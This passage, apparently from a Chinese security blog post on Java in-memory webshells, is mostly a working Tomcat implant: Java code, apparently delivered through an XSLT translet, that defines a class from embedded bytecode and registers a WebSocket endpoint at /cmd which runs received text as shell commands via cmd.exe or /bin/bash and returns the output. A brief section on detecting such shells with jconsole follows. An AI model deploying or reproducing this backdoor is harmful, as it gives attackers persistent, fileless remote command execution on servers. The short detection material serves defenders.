            String urlPath = "/cmd";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            if (standardroot == null){
                Field field;
                try {
                    field = webappClassLoaderBase.getClass().getDeclaredField("resources");
                    field.setAccessible(true);
                }catch (Exception e){
                    field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
                    field.setAccessible(true);
                }
                standardroot = (StandardRoot)field.get(webappClassLoaderBase);
            }
            StandardContext standardContext = (StandardContext) standardroot.getContext();
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Class clazz;
            byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9};
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
            ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
            WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
            if (null == container.findMapping(urlPath)) {
                try {
                    container.addEndpoint(configEndpoint);
                } catch (DeploymentException e) {
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注入一次以后就可以用 wscat 进行连接了

firefox_2F8RbhbDOg

排查

我们首先要确定环境中是否存在内存马。下面给出一些方法:

jconsole

我们通过 jconsole 连接到 web 进程,可以看到加载注册的 Filter、Servlet。

jconsole_9CadR07KaP

借这个 console 也可以让我们对恶意的内存类进行删除操作。 但是还是不够方便,且有很明显的局限性。

JavaAgent+javassist

这里后面写 JavaAgent 内存马的时候再谈

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇